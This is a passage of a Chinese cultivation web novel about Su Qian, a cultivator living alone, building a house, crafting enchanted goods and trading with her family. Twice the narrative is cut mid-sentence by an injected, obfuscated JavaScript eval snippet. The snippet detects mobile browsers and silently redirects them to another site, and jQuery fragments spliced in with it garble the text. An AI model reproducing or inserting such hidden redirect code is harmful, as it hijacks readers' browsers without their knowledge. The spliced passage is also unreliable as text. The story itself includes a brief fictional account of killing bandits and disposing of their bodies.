庇护所其实是棚屋,利用原来房屋的结实墙面加上防雨顶棚,并用简易隔断分里外两间。外间有厨房和起居室,内间就是修炼之所。只有一席一垫,还有一大箱子的书。
厕所这种,在隔壁茅屋里,不过用的马桶是最“先进”的,清洁祛味保温甚至清洗烘干一条龙,比冲水的还好用。
苏英女表示很受打击,这玩意大概得卖好几百灵珠吧?可比家里的以及苏茜卖的贵多了。
其实苏茜还卖过两千灵珠的马桶,用很不便宜的水灵木,还能自带清洗的那种超高级,可惜就卖了一个,老板塞给她两千之后就不再做这类产品了,但之后老板名下的另一家平民化店铺里就推出一批“仅仅”三四十灵珠的马桶……咳咳,反正她都是这样操作的,先上一款超级豪华昂贵的,挣一大笔手工费作为知识产权转让费,然后交给老板去处理;老板将创意拿出来找便宜的劳工做,而且还得卖得比较便宜,不然买了高档货的高端顾客会不满。
苏英女拒绝了女儿送她一个同款马桶的提议。她是练气后期的侍卫,年过六十依旧身强力壮处于巅峰期,又不是凡人老太太。
而苏茜拒绝了母亲塞来的灵珠。“我身边还有一万多。足够建个小房子和过日子的。何况我还要给二哥供货呢。”
苏英女想到小儿子摊位上从三块金元到三十灵珠的“货”,默然片刻,摸摸小女儿的头,走了。听说不少人坐车来镇上进货回去卖都能赚到金元兑换灵珠的差价。小女儿别的不好说,赚钱还是挺行的。
放下心的苏英女走后,苏茜继续做金饰。
整套的比零碎的值钱,但是零星、总价低的更好卖,尤其是她大方地在漂亮的黄金项链上用了金光阵纹还接受金元计价,几乎一到货就被抢光。别人觉得她吃亏,但她一点不觉得吃亏。造物课上学的炼器炉,她只能做初级版,也就是融化最低级别的灵材,但对付普通黄金真是一点压力也没有,加之几十种模具跟一堆合金首饰样品都是现成的,她配合一点修士手法和小法术就行,一天花费不到两个时辰能做四五条附符项链,净赚三盎司黄金……这是啥高薪啊这是。
在种下的几种灵菜能收了做成菜干的时候,苏茜推着一车货物回了趟老家,送了每人一个控温马桶、一个带有三个一次性土系防御符的金戒指,还有几样附符农具,然后大大方方跟家里换口粮。
“按照你说的,自家种的灵谷除了交税不卖钱,都留着呢。”苏力将十几袋灵谷放上推车。从价格来说,家里赚大发了;从价值来说,大家倒也算等价交换,毕竟一个人一年的口粮要消耗不少的劳动,肯定比苏茜制作物品的时间多。
苏茜说是赶在天黑前回去,拿了六个下地用的灵谷饭团就走了。
在开始下雪前,苏茜的小房子终于弄好了。二层小楼,每层就一个开间,下层有水缸、桌椅餐柜厨具、烧火炉、烘烤炉和桌上用的小炭炉,齐全得不像单身人士;而上层仍然保持一席一垫一书架的极简主义风格,但有个烧火灵木的壁炉。火灵木燃烧充分且非常持久,一小块可以温暖两天两夜,加上有一扇窗户是常年开着的,连烟囱都省了。
这房子是苏茜一个人造好的,墙是砖石建的,不仅用上岩化法术加固,还带有防震防火防水防攻击的阵纹,楼板屋顶是灵木制成,阵纹符术共同加持,方便随时补上。房子的建材加起来就要差不多四千灵珠,因为是陆陆续续找不同的卖家,中间用小岛中转省了大笔运费,所以没人知道具体造价。尤其是外墙灰扑扑的,连彩色透明窗户都没有,居然只有一楼的大门和二楼的俩窗,怎么看怎么像是雇农住的仓库式房子——上层仓库,下层住人。
“小茜,你这房子,跟你的身家一点不配。”苏明和苏越是第二批访客,赶着租来的灵兽车,带着镇上买的灵兽肉和货款上门,顺便看下她的住处能否过冬。
现在车辆从缓坡和陡坡两边都可以直接上来。他们走的是缓坡。
“我又没什么身家。”苏茜送上灵茶,五十五灵珠一大包,一天三泡可以喝一年,茶渣作为绿肥养茶树,妥妥的修士口粮茶。对了,她将茅屋的屋顶用石板填上,废物利用成灵菇种植大棚。她没种过菌菇,虽然灵菇跟普通的蘑菇不是一个品种,但特性也还是喜阴喜湿腐殖质。本地吃的灵菜灵菇灵谷灵兽的全部是人工种植养殖的,虽然没有完备的种植手册和技术指导,但种子孢子的价格很低,可以用指定品种灵菇和灵谷交税就可以看得出来城主府的意思。苏茜没有种灵谷,也不打算养灵兽,更不会拿种出来的灵菇灵菜交税。说实话,自己这块地的价格低于苏家的良田,地税也低得多,都不到二百灵珠。
“这茶,呃,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976283|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
错!”苏茜即使赚钱了也不舍得买灵茶喝,关键是灵茶偏苦,不放糖根本喝不下去。
“你的长裤是不是太薄了?”苏茜没理这家伙的口味,倒是盯了眼他有些僵硬的腿。
“我是修士啊!”又不是体弱的外祖母。
姐妹两个同时给了个白眼。一个普通初期、连初期顶峰都没摸到边的弟弟,而姐妹则是稳稳的练气中期,甚至还有可能继续往上,扛寒冷的底子能一样吗?!
苏茜转身,在柜子里翻出来一条护膝和一件中衣,全部是火灵木做的保暖款,“换上。”
“我在这里换衣服?”苏越有些羞怯。
“要不你上去,”苏茜指了指头顶没有楼梯的一个缺口,“这里上楼。”
“啊,没有楼梯吗?”
“修士要什么楼梯!”
不,他跳不上去!可怜的苏越转过身快速换衣服。要不是炉子一直烧着提供了热量,他真可能会感冒。苏茜等他换上秋衣裤,不,是保暖衣裤,又看看外头的天气和空荡荡没得遮挡的兽车,叹口气。这家伙脸和手都发紫了,还硬撑不肯穿棉衣!她又找出来三件火灵木做的带帽长披风,看起来简薄朴素,其实即使现在下大雪也没事,它防雪水的!
“别逞能,长辈们已经有了,我们一人一件。”这些将她从学堂里低价买的材料都用得光了,现在她手里的都是找宇清城的供应商批发来的,一车七百多灵珠,这种没啥做工的披风能做十几件,所以她一口气买了三千灵珠的原料,倒是这次苏茜送来的货款补回了这笔支出。“对了,你研究下这种披风能不能卖。是不是要弄得好看些。”
“好啊!不过欸,这个真暖和!”苏越特意跑出门又跑回来,“比被子薄很多,但一样暖和!”
“保暖阵纹加保温符。你这造物课怎么学的?!”
苏越麻溜滚了。
苏明翻着白眼也走了,她赶车,苏越这小子对付不了这种兽马。小妹还是很为家里人考虑的,从她送的披风长度尺寸正好就能看出来,另一件比苏越的长宽大不少,明明白白就是给兄弟姐妹中最高壮的苏勇的。苏勇在学堂没撑过一年就回家了,基本没学到东西,现在家里有近一半土地都是他种的——要不是苏茜连去壳碾子都加了符术,所有农具都有加持,他根本种不了那么多面积,更不可能得到弟弟妹妹私下塞来的灵珠当零花。他没成亲,也拒绝家里给他买土地和相亲,就替家里干活,顺便吃灵食戴手套穿灵木衣服用高级马桶……一个甚至称不上修士的男子在全部是剽悍女修士的家庭里是真的会自卑,因为他没能力娶到大姐或小妹这样的妻子,更不可能独自种超过四亩地来让一家子凡人衣食无忧。
苏茜也就是在收拾屋子的时候想了会儿二哥的出路,接下来她还有一堆的事情要忙。比如项链略贵卖得不多但利润高,精雕嵌彩色宝石的戒指因为价格才两块金元、且每一件都不一样而成了周边凡人和低阶修士家最喜欢的首饰之一,每次摆摊都是一抢而空。
苏茜制作的戒指是没有模具的,全靠记忆里的各种图案样式排列组合。而彩色宝石批发价一个灵珠十颗却不收金元,所以在其他店铺眼里这价格根本赚不到钱而不屑卖,在苏明看来是妹妹只挣一点饭钱连肉都吃不起,对苏茜则是赚大发了:戒指的加工费什么时候能比戒指的材料费还多的?灵珠不能用来修炼,只是本世界的一个等价物,对她来说只有全部换成物资才划算,跟家里把灵珠当家族储备的做法大相径庭。
……
下雪了。
室外的温度不到华氏三十度,一层的室内因为没有取暖炉而不到华氏四十度。苏茜在小炉子上煮着海鲜粥,海鲜当然是岛上的小海鲜肉,米则是镇上买的一种两年生灵谷,还是挺容易煮熟的那种米,再加一把灵菜干、新鲜灵菇和少许盐。这里的海鲜真的也就是个调味剂,与修炼没用,但对舌头和心情比较友好。
半个小时后,苏茜将一小锅的粥全部吃掉,略撑。灵食产量低但能量足,同样一餐吃得比凡食少一半还多。
接着就是做活了。将岛上值得封存收藏的东西全部清洁整理一遍,加固成最新最高级的符,调整阵纹,还做了好几样专门用来保存纸制品尤其是纸币的容器。另外就是将宇清城式样的金元做成其他形状,比如元宝和瓜子花生珠子等等。
法术真是有用,但是消耗也很快。
她做完这些,回到二楼,点燃一小块火灵木,开始尝试延长修炼时间。
早晨修炼叫晨练、早课,中午晚上那是午时功、子时功。不同的功法书对练功尤其是静功的要求各不相同,学堂里的先生也说因人而异。听说以前的宗门,每个宗门的规定都不太相同,但现在连宗门都没有了,那大家也就各自按喜好习惯做。
以前在家有很多事要做,而且也不安静,家里人口多,生活习惯也各不相同,除了深夜到凌晨其他大部分时间都有人在走动;学堂里上课时间早,经常到午后才结束,还有很多作业和考核,大部分学生最多早晚修炼而已,少部分甚至只在夜间修炼半个多时辰就不行了,宁愿早上在外面练刀练弓箭练拳脚之类。小说里剑气取千里之外的人头纯属幻想。
现在一个人在安静无人的小山顶,不好好修炼看看能不能健康地活个一百多岁简直是浪费时间!最起码得有母亲六十岁的年纪、三十岁的容颜吧?再不济抡刀砍盗匪也行……啊,宇清城势力范围内,没有盗匪。而外面的情况不清楚,搞不好盗匪头头是筑基,那自己一个人跑去就是个送菜的。
压下所有思绪,苏茜开始行功运行经脉。不是穴位,这里不谈穴位,更没有针灸这门学问,真是奇怪。可主经脉和小经脉以及支脉却是真实存在的,搞不好上辈子的自己和这辈子的自己是不同的物种。
三天两夜的雪,让环境更加安静。
风不大,灵木燃烧极为安静,耳边只有落雪的细微簌簌声,偶有细枝断裂的咔嚓声,连山脚还算宽敞的道路上也全无动静。没有声光污染,没有网络喧嚣,没有鸡犬相闻,没有人来人往。仿佛世界上只有自己一个人……
集中修炼了快十天,苏茜明显感觉这种方式有效,但时间不能太长,从第七天开始效果就不行了,现在则跟之前一天不到两个时辰一样。
外面的雪化得差不多了,室外温度华氏六度,呃,摄氏多少度来着?她脑袋一时反应不过来了。时间是一把最残酷的刀,很多东西被慢慢忘却,又有很多东西被慢慢捡起。
本地人戴项链戒指的多,戴手镯的少。不过苏茜打算做些不一样的。翻出书来,重新练习了几天,然后终于做出来火灵木雕的带有十个金系和火系防御符的手镯。十五天来她每天只吃两顿一共四个灵谷饭团,都快成仙了!
赶紧冲回岛上找不同口味的吃食。
在法术和自制短刀的辅助下,她一口气弄回来两桶生蚝和四只大海蟹。海蟹只能两只两只煮,还是变红以后扯掉腿钳再放下一只,这才能在大锅里煮两只;大一点的生蚝直接放烤炉上,小的养一会到时候做耗油。没多久第一批烤蚝肉就能吃了,一边吃一边烤,然后调一碗成本高达一灵珠的高级调味料,将煮得差不多的蟹腿捞出来剥了吃,哦,同时再下第三只螃蟹。
就这样花了一个半时辰,她才将那么多海鲜全部吃完。
结果,胃疼!
修士会胃疼吗?
反正练气修士会的。
幸好调料质量过硬,没有拉肚子!但苏茜不舒服了一晚上才缓过来,差点影响修炼。
看来,必须得老老实实吃修士该吃的东西。“我的烤鱼……我的螃蟹……我的生蚝……”
简直是生无可恋!
12.修士烦恼多(四)
请问,您看过两米可能还超过一点的大汉绣花吗?
有!
我哥!
苏茜看着二哥苏勇,对,就是种地的苏勇,熟稔地将棉衣口子缝起,还用花样掩饰住瑕疵,完全震撼住了。
“二哥,”她看向停住换线的苏勇,“我给你做新的,保证拉扯不坏。”
“这是你三哥的衣服。”苏勇笑了下,他平时跟小妹相处时间是最少的,但对方送给家人的东西从来不会落下他。“他要成婚了,得带走全部东西。”
苏越被镇上一个修士家族看中,这家有一子二女,但唯一儿子是纯凡人、成亲生的三个孩子也都是凡人,大女儿修炼到练气中期且医术很好、现在城主府效力,二女儿经常从苏越这里买东西最后将她的父母和姐姐给惊动了。两人聊得不错,两家也谈了下,成亲后苏越去女方家生活。本地没有招赘一说,孩子从母姓也非常常见,尤其是修士家族,有一半是由女儿继承和奉养双亲。
“二哥,你能做衣服吗?你觉得如果我做的披风能弄得好看些,是不是就能卖了?”
“可以!每年冬天大家都不乐意出门,太冷了。到脚面的长披风一穿,靴子也用上好的绒,不臃肿又能保暖,就是,灵珠价格高不上去。”修为高的抗冻,修为低的灵珠不够。
“知道,我可以卖灵珠加金元。树苗和一些材料买来用的是灵珠,这是没办法的。其他的可以看着办。”
“你打算放在兴家的铺子里卖吗?”苏越的妻子兴裕比苏越大两岁,也是练气初期,修炼不太行,但学堂造物课是毕了业的,虽然足足念了五年多成绩才是个普通。
“不,兴家铺子都是灵珠计价的好货。你去摆摊卖便宜些、品质略低些的,金元和灵珠都能买的那种。”
“小越的那种摊子?”
“对,他不摆摊了,我损失最大。”兴家在镇上和宇清城都有店,当然需要多几个懂行的自家人,而苏越这个女婿是很好的人选。双方家庭对这桩婚事都很满意。
“……那谢谢了。”小妹不可能损失,她做的东西价廉物美、完全可以整车的卖给各类商铺,也可以做高端产品卖给高端店铺。她这是帮自己,有事情做有钱挣总比到处靠家人接济零花的好。
“二哥,我用灵珠跟家里换口粮,多出来吃的都给我。家里地税就用灵珠交。”苏茜没有种灵谷,而是在房子周围种灵菜,“菌菇大棚”里种灵菇,其他地方的杂木全部连根挖了烧火做绿肥,腾地方总共种了几千株火灵木树苗。山地的火灵木长得比岛上的快多了,三年能长十几厘米、直径多了近两厘米。灵木的叶子数量少,却是灵菇最好的肥料,比普通枝叶强得多。她种树不是为了做高级材料,而是价格不高的保暖衣物,所以根本不需要等几十年,明年就可以开始分批砍了。
“好。”苏勇知道妹妹的地是偏远林地,距离水源很远,种灵谷比较困难。
“我明年开始用的火灵木都是七八年的小树,保暖效果比你们身上的差些。推销的时候稍微‘谦虚’些。”差了一截,但也就是三百克鹅绒和两百七十克鸭绒在保暖性能上的区别,倒是成本差得多。
“我明白!”
苏明今天也在家。她去地里看看积雪融化带来的问题,现在过来旁听了后半段,“你做阵纹费事还是做灵木棉费事?”
“阵纹费力,灵木棉费时。”
“那就教二弟加工灵木棉。他做好了的货给你加持符术或是阵纹。”顺便看看你一个人过得怎么样。
“好啊!我自用的也请二哥帮我做了。”这样苏勇就能挣更多,而她就有更多时间做别的。她最不耐烦做低级加工,所以灵木棉服原本是不打算卖的。
“没问题。你提样子,我来做。”作为修士,苏勇是不合格的,但他确实是位不错的凡人级别手工艺师傅。
“天气暖和之后我就陆续送来棉絮,还有别的可以卖的东西。估计,按长披风来算,我那山头一年也就出个两百件。”苏茜估量了下二哥的体能实力,决定自己来做灵木初加工,顺便也掩饰下自己用的火灵木到底是什么级别的。“我不建议你去买原料,因为火灵木材都是五十年以上的,做普通衣服根本卖不出去。还不如继续卖马桶,对了,你不妨做香梨木的马桶,交给我处理。”
“好。”
苏力苏明对兄妹两人的“交易”很满意。这是个互惠互利的好事。
苏茜也挺高兴,她真的不想费时费力弹棉花和手工缝线……
“呜哇——哇——”
“呜哇——哇——”
丁点大的两个小家伙,哭闹起来动静却不小。
苏明没成婚,不过赶在四十岁前生了一对“优质”双生子,辞了活计回来养孩子兼种地。最高兴的是四位已经不太能干很多活的老人,两个老人带一个娃,娃大些就由母亲领着修炼——如果能修炼的话——劳动力分配得正正好。之前全家唯一有后代的是苏茜,但他的孩子归兴家。
“这两个小家伙都有灵根。”苏茜摸着两只软软的小拳头道。她知道自己应该是到练气中期顶峰了,能不能跨过去不好说,但分辨孩子的资质还是可以的。
“嗯,姐姐英文的资质比英武的更好一些。”苏英女年过七十,明显已经没了四十到六十时的巅峰状态,已经从最前线的侍卫调到后方,一直在训练新人。收入是少了,但在家与亲人相处的时间变多了。外祖母阿林修为最差,即使天天吃灵食,九十岁的年纪也快准备后事了,但现在被小娃娃的诞生刺激得求生欲暴增,看上去还能活几年。
苏茜对外甥女的名字略不适应,但母亲亲自取名的英文,说明给予了这个小女婴莫大的期待。她送给小家伙的火灵木做的小被子和水灵木做的尿布,等他们大一点会送灵菇做的辅食,懂事以后就是灵珠红包,跟苏茜的孩子们一样待遇。
“修炼不能放松,你还是有希望后期的。”苏英女又研究了下小女儿,已经是非常稳的中期顶峰,后期的希望有六成以上。大女儿是一直中期没有晋阶,这才找了个资质好的男修生孩子,但对方不愿成婚,苏家也不在乎有没有女婿。
“是,我知道。”所以她现在每天修炼五六个时辰,灵谷灵菇灵菜灵茶灵兽肉这么吃,甚至还上了灵兽奶加灵茶做的奶茶,将这两年的利润都砸在灵食上了。同时她的“出产”也越来越诡异,比如夏季清凉用的冰扇,打开扇面就能享受凉风,一旦凉气减弱还能到卖家也就是苏勇的摊位花一个灵珠以旧换新;比如转开盖子就发亮的木制小摆件非常适合起夜或晚上临时照明,一块金元买两个不同造型的;比如冬天用的暖炉,一边烧水一边取暖,还特别适合烘干刚洗过的头发,烧的燃料从外地产的黑石炭到木炭到木头到灵木甚至摊位上的火符都可以……
很多人贪便宜新鲜,买回去发现能用是能用,坑也是略坑,但总体上拉人来回购的数量能占一两成,后来苏勇干脆每天晚上都去摆个晚摊,嗯,回来用暖炉洗头洗澡挺方便的。
最重要的是,苏茜赶在四十岁之前达到练气后期。
成功自然延寿至少二十年。虽然她也不知道乱砸进去几万灵珠和那么多的修炼时间,换来的寿命到底值不值。
可她毕竟晋阶了,而且切切实实感受到力量的不同。
比如说,她不需要租兽马就能推着车从树苗供货地回到自己的山头,修炼两个时辰后不睡觉直接将一百多株树苗全部种下——不需要用铁锹挖坑,只需要木系和土系小法术就行。最后浇水也是一个小法术。如果是五年前,她得花三天时间和三十灵珠租兽马费,十年前就更久了。
外祖母已经过世了,没法子为小孙女高兴,当然她是家里最不在乎子孙修为的人。其他三位老人晚年还是认真修炼的,但也到了风烛残年,祖父甚至都无法打坐超过半个时辰,外祖父的外表也是以肉眼可见的速度在衰败。年纪最大的祖母已过百岁,居然还能做点地里的活。
“你做得很好!”已经辞了城主府差事的苏英女与苏力和苏勇一起带两个半大孩子。“想要去城主府做事吗?”
“不,我还是习惯长时间在安静的环境修炼。不然如果少于三个时辰就可能会倒退,但太长时间反而没有益处。”
“对的,所以我现在也是每天修炼两个时辰一点不能少。”苏英女没有提城主府的工作问题。苏明已经去宇清城学堂里管后勤,收入比苏英女当年少,但仍然“高达”每月六百灵珠,比苏茜和苏勇合伙摆摊卖货的净利润还略多。某种程度上,这类工作既是养家,又是服役,成了修士家族的惯例,即总要有一个重要家庭成员为城主府效力。苏茜这样的年纪,一个人待在偏远山地种一小片不到十年的火灵木,即使是练气后期也没人多看一眼,当然也不会有人敢惹她,毕竟她能轻易将一个练气初期活活打死。
苏茜又亲自将家里的农具全部改良一遍,让苏勇和苏力苦笑不已:修为低,连种地都不行。于是他们更加盯紧苏英文和苏英武的修炼。
而苏茜也在两个小外甥面前炫了一把修为,一刻时间就将一亩半的灵谷全部收割掉,还打包放在一起。看得两个小家伙眼冒金星,姨母还挺年轻的脸蛋和炫酷的示范比外祖母的刀法更能激发小家伙们的斗志。
只不过示范者差点连回去的力气都没了,不得不在家里给她保留的静室里修炼恢复。
* * *
火灵木的树干砍得多了会只长根须不长树干,但是枝条没这个问题。每过几年,苏茜就会去买些树苗,有时干脆也送一些去苏家和兴家,种在屋前房后的小块空地,急的时候掰几个枝条可以烧水烤火,就是与树干燃烧的时间和热量不能比。
她种的灵木没人偷采,因为按照本地法律和习惯做法,偷盗灵物被主人杀了也是活该,何况连十年都不到的火灵木根本没人愿意冒险,撑死了偶有路过的人拿些掉在地上的断枝落叶。
夏天的小屋二层自然是热的。但练气后期对冷热的耐力跟初期不是一个层次,只要调息静心就不会流汗。
午后,一层敞开的大门口进来了人,是苏明。
苏茜收功,从窗口飞出去,再从大门进。窗口就在门上方,而因为材料和阵纹的关系,虽然一层只有门没有床,但从炎热的室外进到室内就像是走入了初秋。
“小茜,你用的是保温阵纹吗?”最近苏明也在研究阵法,可惜没有苏茜天马行空的“想象力”。
“对。”
“我也用了,感觉也就是冬天稍微好一点,夏天一点都不凉快。”
“我给你我用的阵纹。还有,天花板、墙壁和地面都要有,一层我用了三套七个阵纹,门上是两个符文。窗户和门都是进热气的,开着窗那是一点效果也没有的,还不如用冰扇。”
“冰扇也就是躺下有点用。”
“坐下后放在桌上也行啊。兽车车厢里放一个会舒服很多。”
“你做的东西还不知道能凉快多少。”
“太凉了会生病的。实在怕热用两扇。”
“所以人家都是四个八个的买。”
“太大不好控制,又贵又只能用几天。”
“嘿,冰屏比冰扇卖得好多了你难得不知道?你这是扔了大头捡了小头。”
“我知道啊,兴家的店里就做冰屏的生意,我设计的,他们送了我两千株火灵木的树苗。”
“……”
“冰屏的生意涉及后续很多事情,而且体积大、价值高,二哥不太好做。”
“……”
无语的苏明给自己煮的灵茶好了,转移话题。“这茶,跟上次喝的不一样?”
“这茶性凉,适合夏季。”她自己加工配制的。苏茜还拿出来一个自种的果树上产的灵果,直接吃口感很糟,加到茶水里会好不少。
苏明看着小妹徒手虚握住灵果,隔空榨出果汁加入两杯灵茶里,然后将剩下的一团果渣扔进墙边一个小罐子——不论是果汁还是渣滓,一点没有散溅出来。她想,修为还是重要的,起码自己做不到这种操作。
“大姐,学堂放假了?”
“是,放假五天,赶在新学生来之前回去干活。下次回来要三个月后。”
“两个小家伙今年能入学吗?”
“得两年后。他们修炼的习惯还没完全养好,对课程也完全无知。我打算两年里让他们学些东西。母亲打算让英武练练武技,英文学点符文基础。”
“我有书。”
“不,我们买了店里的那种基础书,先看点常识。”
“你觉得这两个孩子这样安排不好?”苏茜研究着大姐的脸色。
“你觉得好吗?”
“我很高兴自己交了两门课的学费,实际学了三门。小家伙们早点入学也不错,多学点东西没坏处。不过建议两个孩子一起学相同的东西!尤其是武技,谁也不能落下。哪怕到了练气后期,也是讲究个刀法的。我现在还是每天在林子里练刀,断掉的树拿来做棉絮。”
“你还在练刀?!”苏明真的惊了。
“对,弓刀拳脚,都练。不过没跟人交手过,不知道打架水平。”其实是打过,但是刀势配合法术一起招呼过去,对方一伙人扔下三个重伤员立马逃了,害得她犹豫半天,不得不杀了扔岛上,再将原地的痕迹清理干净,然后回去将扒干净的尸.体扔海里。真是的,这个海都成抛.尸场所了。幸好没有见到被冲回到岸上的骨头……包括那些不值钱的物品也都扔那里了。
“你有法术就够了足以一个打十个初期。”
“有了武技和兵器,我可以打十个中期。”
“……这倒是,你一个人在外,安全最要紧。反正盗匪杀了就杀了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979670|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”她自己没杀过,但母亲杀过。
苏明聊完了孩子的教育问题,放下灵珠和需要苏茜加工的成品,拿走苏茜做好的东西。
留下苏茜皱眉研究,效果更好的制冷风扇怎么做?
还没研究出什么,开始下雨。
现在下雨不是多好的事。苏茜撑着不能折叠的直柄大伞,光脚穿着自己做的木屐,察看种在陡坡部位“梯田”里的灵谷。去年秋天种下的一种一年生灵谷,现在正是开花的时期。这一场大风大雨会影响收成的吧?
她看了下被打得垂头丧气的庄稼,直接将手里的伞插到土中。又顶风冒雨看了会儿,然后回去紧急加工,然后连夜施工做了十几排挡风挡雨的庇护所,还用土系木系法术催生加固,再用水系法术将土里过多的水清理掉。回屋修炼一个多时辰之后继续察看庄稼情况,沥水加固。
这场大雨下了三天,才转为小雨。又过了两天,风雨渐止,苏茜才撤掉庇护设施。
修士世界也有自然灾害呢!
不过最大的灾害应该是灵气不足吧?听说筑基需要比平常还多的灵气,所以没有背景势力,培养不出筑基。
只是,“筑基有什么好呢?”
“本事强些?”
“又没有盗匪,也不会有人欺负。”
“那,活得久些?”
“不吃不喝不玩不乐,活太久也没多大意思。”
“……”
“……”
两个应该不到二十、练气初期中的初期的少年在苏勇的摊位前一边说话一边看东西。
“我觉得筑基有个最大的好处。”
“什么好处?”
“想要的话可以买这一车子!”少年比划了一下。
苏勇乐了,“我也就是转个跑腿的,做东西的也就赚个手工,这一车子还不如宇清城好店铺里一件东西赚得多。”
“那大叔你为什么还要卖啊?!”
“我要吃饭。卖一车东西可以买一个月吃的饭和菜,还能买两片灵兽肉。”
“哦,那还是要的……”灵兽肉啊,他这辈子都没吃过。
“你们看到想要的就买,因为其他地方都没有我这里的便宜。”
“这把镰刀呢?两个灵珠?好贵。”
“用了好钢,还有两个符文,收割起来会省力许多,附的符能用大概一百亩,没效果的话,只要镰刀没有缺口和损坏,可以用两块金元换新镰刀。”用金元“以旧换新”业务极为受欢迎,这也是苏勇的东西能不降价都卖掉的原因:生意好是建立在苏茜对自己劳动的“低估值”上。
两片卤好的灵兽肉和一把趁手工具,最终少年选择了后者,而另一位少年咬牙买了防滑雪地保暖防水靴子、简称雪地靴。
雪地靴是苏茜费了不少时间搞出来的,除了皮料是普通皮子,其他都掺有灵物且颇有技术含量,售价四个灵珠不还价、不换新,由于产量少,从来都没放到过第三天。商家想大批进货也没有,想仿造却太贵。还是那句,买得起的人不需要,需要的人稍嫌贵但还是够得着。苏茜的成本控制在练气初期赚不到很多钱的人所能承受范围内,售价“仅仅”是不到一盎司黄金罢了,很“便宜”是不是?!反正苏勇和苏茜都挺满意自己的收入。
……
今年的秋季比往年长。
苏茜记录了下午的气温,快华氏七十度了,但湿度八十,可能要下雨降温。将记录本放回岛上,她开始收割灵谷。长了整整一年的灵谷,颗粒、份量还是蛮饱满的,产量也让人比较满意。剥开外壳,里面是白色偏红的长条米粒,磨粉略浪费,可以直接做熟了吃,但蒸或煮的时间需要半个时辰才会软烂。她种植并非按照推荐方法,而是研究特性之后缩短间距并且加重施肥浇水,同时又控制土壤水分不会过多。她的肥料是厨余、灵木落叶,以及方圆二十里范围内两个灵兽养殖地打扫来的粪便。本地农民很少用后者作肥料,但苏茜压根不介意。
收割,晒干,脱壳,全程亲手打理,最后算一下,这些灵谷她能吃两年。所以苏茜毫不迟疑地种下另一种种子很便宜的多年生灵草,种满所有梯田只需要三个灵珠的种子。这种灵草被证实根茎有药食同源的价值,并且有一定养地功效,只不过药用价值太低没有作为正经灵植,多数用来喂食草小灵兽,有时花一个金元就能买一袋子,可惜苏茜买的时候季节不对,人家开了“高价”。但苏茜的目的是食物,因为她想念烤红薯了。
“今年冬天不知道会不会特别冷,所以我去买了些火灵木材料,多做了两种厚袄和裙子。偏贵,符文能管四年,不过本身的材料还是些保暖作用的。”以前都是苏勇带了两个帮手做,苏茜很少亲自做衣物,一旦出手却都是修士级别的平民货,将两个保温符文放大变形交叉作为图案,功效降低但观赏性大幅增加,而且对她来说制作时间减小很多。由于是自己染色的,粗糙敷衍却不怕清洗褪色。
苏勇有些一言难尽,那样式做工色彩花样以及可怕的,啥子一片式可以当毯子盖高矮胖瘦老少甚至男女都能穿的裙子……小妹的东西总喜欢从根本上带有瑕疵,还往往定价让人犹豫老半天。不过,当他在突如其来的寒风中用这种“男人也能穿的裙子”裹在腰上后,立刻又拿起一条披在肩膀上。
就是这种轻巧温暖,仿佛将寒气隔绝在外的感觉!
路过的人,练气中期以下一边缩脖子,一边盯着这个大汉看新鲜。穿裙子吔!或者说,是围裙?
“我说,勇子老哥,你这穿的是什么?”
“别管什么,反正是暖和的小毯子,我家小妹亲手做的,全部是她一手做的。要当裙子穿也可以,出门在外盖在身上也合适……下午我出门时天气还好,没穿棉衣或者暖披风,这天气实在是变得太快!”
“啊,是茜师傅做的啊!”
“对,没有别人,没有我的手笔。符文能用四年,所以只要五个灵珠两件,四年后火灵木做的材料也能当个小袄膝毯用。”苏茜告诉他只要给她两个灵珠一件,袄和裙一个价,其他随意。所以他就定了五个灵珠两件。
“茜师傅亲手做的?”五个灵珠两件还说贵?!符文有时限这是常识,最主要的是符师作品就没有低于十灵珠的,更别说如此实用还只要两件五灵珠。这位立刻上手拿来往肩膀上一披——“给我,十件!对,上下都要,五套。裙子,还是毯子的,要!就要那个!”
别管面子问题,不生病而亡就是好。袄子宽松柔软温暖,可外穿可内搭。那裙子吧,女人当裙子,男人能当披肩毯子带出门还不怕雪湿。
是的,这毯子还是裙子的无惧风雨雪。
“看看,不怕下雪,不怕泼水,但如果下大雨是不行的。不能当伞。”
“伞?”那人抬头看着摊位上方遮阳遮雨遮雪的大伞。“这伞卖不?”
13.修士烦恼多(五)
山上的积雪超过二十五厘米,温度最低华氏零下二十度。这是苏茜“独立”出来后的记录到的最低温度。不过这不是百年里最低的,起码祖父说他年轻时有一年积雪到大腿,但之后就再也没有那么严重,苏家曾祖父是经历过人高的积雪。
“家里有你母亲和大姐,兴家大姐也会来,你放心。”苏成拉着脸蛋看上去才二十七八的小孙女,不让她继续上屋顶检修。这天寒地冻的大雪天,她就一身似乎不太厚的短打练功服“飞”上房顶再将积雪全部“扫”下,是扫吧?
